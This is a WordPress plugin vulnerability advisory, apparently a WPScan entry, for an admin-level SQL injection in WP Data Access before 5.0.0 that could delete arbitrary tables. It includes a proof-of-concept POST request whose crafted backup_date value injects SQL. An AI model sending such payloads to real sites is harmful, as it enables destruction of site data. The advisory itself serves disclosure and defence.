WordPress Plugin Vulnerabilities
WP Data Access < 5.0.0 - Admin+ SQL Injection
Description
The plugin does not properly sanitise and escape the backup_date parameter before using it a SQL statement, leading to a SQL injection issue and could allow arbitrary table deletion
Proof of Concept
POST /wp-admin/admin.php?page=wpdataaccess&tab=repository HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 65 Connection: close Cookie: [admin+] Upgrade-Insecure-Requests: 1 remove_one_backup=true&_wpnonce=a5df98f178&backup_date=`,`xxx.xxx
Affects Plugins
Fixed in 5.0.0 References
CVE
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-11-08 (about 2 years ago)
Added
2021-11-08 (about 2 years ago)
Last Updated
2022-09-26 (about 1 years ago)
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